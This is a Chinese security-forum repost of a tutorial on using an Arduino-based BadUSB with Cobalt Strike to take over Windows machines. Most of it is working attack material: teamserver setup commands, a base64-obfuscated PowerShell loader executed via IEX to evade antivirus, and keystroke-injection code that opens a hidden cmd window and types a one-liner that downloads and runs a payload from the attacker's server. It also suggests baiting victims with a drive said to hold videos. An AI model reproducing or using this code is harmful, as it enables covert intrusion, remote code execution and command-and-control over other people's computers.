安全矩阵

 找回密码
 立即注册
搜索
查看: 2231|回复: 0

【物理渗透】使用BadUSB配合CS免杀实现上线

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-24 18:43:58 | 显示全部楼层 |阅读模式
原文链接:【物理渗透】使用BadUSB配合CS免杀实现上线

BadUSB介绍

        随着设备不断的升级改进,USB 能够连接到许多不同的设备,包括鼠标、键盘、相机、摄像头、无线网络设备等。但不幸的是,USB 的设计方式产生了这个 BadUSB 安全漏洞。
BadUSB 漏洞是由安全研究人员 Karsten Nohl 和 Jakob Lell 在 2014 年黑帽会议上首次发现并暴露出来的,这也就让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
       就狭义来说,BadUSB是指形似 U 盘的设备,内部的电路在上电之后会被系统识别为键盘,此时该设备内部的芯片开始与电脑进行键盘通讯,仿照人的输入习惯,来操作电脑,以此达到骇入电脑的目的。
        就广义来说,BadUSB是指一切会被电脑识别为 HID 设备的,外观却不像键盘的电子设备。现阶段有的 badusb 是形似数据线的,有的则是手机加定制内核,以发挥 BadUSB 的作用,更有甚者,将 BadUSB 开发为模块,可以嵌入任意的带 USB 接口的设备中。
        badusb在红队作战中是非常常见的物理渗透手段,毕竟不是谁都能抵得住一个u盘的诱惑的,那么再加上500个g “学习”视频勒?你防得住吗?
准备工作
    购买 badusb 、 烧录器 、 云服务器;共计开销大概二百五
①.在服务器中上传cs、screen,用于制作cs免杀马等
  1. sftp root@IP
  2. ls
  3. put \xxx\cs.zip

  4. ssh root@IP
  5. apt update
  6. apt install unzip
  7. unzip cs.zip
  8. apt install default-jdk
  9. cd cs
  10. chmod 777 teamserver
  11. sudo ./teamserver IP password

  12. apt install screen
  13. screen -S test
复制代码


②.下载并安装开发环境Arduino
由于 Arduino 的易用性,现阶段最常用的 BadUSB 还是基于 Arduino 进行设计的
下载地址:https://www.arduino.cc/en/software (有Windows、Linux、Mac版本,PS:建议别下最新的)
③.通过 zading 软件在电脑上安装对应的烧录器驱动
首先需要让电脑识别到我们的BadUSB设备(PS:需要找老的type-a线,新的我试过去貌似都无法识别)

然后打开 zading 软件,点击 Options - List All Devices,找到我们的 usbasp 按照下图设置好驱动

当其在设备管理器中显示为 libusb-win32 devices 设备时,就意味着安装好了烧录器驱动

④.下载并安装烧录工具 progisp
网盘链接(提取码:xrb9)
CS免杀操作制作CS免杀????

将其base64编码处理一下
  1. Set-StrictMode -Version 2

  2. $a1 = 'base64编码'
  3. $a2 = 'base64编码'
  4. $a3 = 'base64编码'
  5. $a4 = 'base64编码'
  6. $a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))

  7. If ([IntPtr]::size -eq 8) {
  8.   start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job
  9. }
  10. else {
  11.   IEX $a5
  12. }
复制代码

接着把文件名改为全大写的,然后通过CS上传至我们的公网服务器上(攻击 - 钓鱼攻击 - 文件下载),实现全程无落地✈

然后将我们需要的操作搞成思路,形成最基础的想法,接着将思路写成代码,通过 Arduino 编译生成hex文件,最后利用工具 progisp 烧录到我们的BadUSB中

附上部分关键代码
  1. //payload
  2. if (onetimeOrForever == 0)
  3. {
  4.   delay(1000);
  5.   Keyboard.begin();//开始键盘通讯
  6.   delay(1500);//延时
  7.   Keyboard.press(KEY_LEFT_GUI);//win键
  8.   delay(500);
  9.   Keyboard.press('r');//r键
  10.   delay(500);
  11.   Keyboard.release(KEY_LEFT_GUI);
  12.   Keyboard.release('r');
  13.   delay(500);
  14.   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  15.   Keyboard.release(KEY_CAPS_LOCK);
  16.   Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口
  17.   //cmd /c start /minCMD /C START /MIN POWERSHELL -W HIDDEN
  18.   delay(500);
  19.   Keyboard.press(KEY_RETURN);
  20.   Keyboard.release(KEY_RETURN);
  21.   delay(1300);
  22.   Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -");
  23.   Keyboard.press(KEY_RETURN);
  24.   Keyboard.release(KEY_RETURN);
  25.   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  26.   Keyboard.release(KEY_CAPS_LOCK);
  27.   Keyboard.end();//结束键盘通讯
  28.   
  29.   delay(1000);
  30.   Keyboard.begin();//开始键盘通讯
  31.   delay(1500);//延时
  32.   Keyboard.press(KEY_LEFT_GUI);//win键
  33.   delay(500);
  34.   Keyboard.press('r');//r键
  35.   delay(500);
  36.   Keyboard.release(KEY_LEFT_GUI);
  37.   Keyboard.release('r');
  38.   delay(500);
  39.   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  40.   Keyboard.release(KEY_CAPS_LOCK);
  41.   Keyboard.println("notepad.exe");    //打开记事本
  42.   delay(500);
  43.   Keyboard.println("                                   $ ");
  44.   delay(500);
  45.   Keyboard.println("                               $         $");
  46.   Keyboard.println("                               $         $");
  47.   Keyboard.println("                               $         $");
  48.   Keyboard.println("                               $         $");
  49.   Keyboard.println("                               $         $");
  50.   Keyboard.println("                               $         $");
  51.   Keyboard.println("                        $$         $$");
  52.   Keyboard.println("   $$     $         $         $        $");
  53.   Keyboard.println("   $         $         $         $        $    $");
  54.   Keyboard.println("   $             $         $         $        $        $");
  55.   Keyboard.println("        $        $                                 $         $");
  56.   Keyboard.println("          $    $                                              $");
  57.   Keyboard.println("            $                                                      $");
  58.   Keyboard.println("              $                                                  $");
  59.   Keyboard.println("                $                                                  $");
  60.   Keyboard.println("                  $                                              $");
  61.   Keyboard.println("                    $                                          $");
  62.   Keyboard.println("                      $                                      $");
  63.   Keyboard.println("                        $                                      $");
  64.   Keyboard.println("                          $                              $");
  65.   Keyboard.println("                            $                              $");
  66.   Keyboard.println("                            $$$$$");
  67.   delay(500);
  68.   Keyboard.press(KEY_RETURN);
  69.   Keyboard.release(KEY_RETURN);
  70.   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  71.   Keyboard.release(KEY_CAPS_LOCK);
  72.   Keyboard.end();//结束键盘通讯
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 08:15 , Processed in 0.023037 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表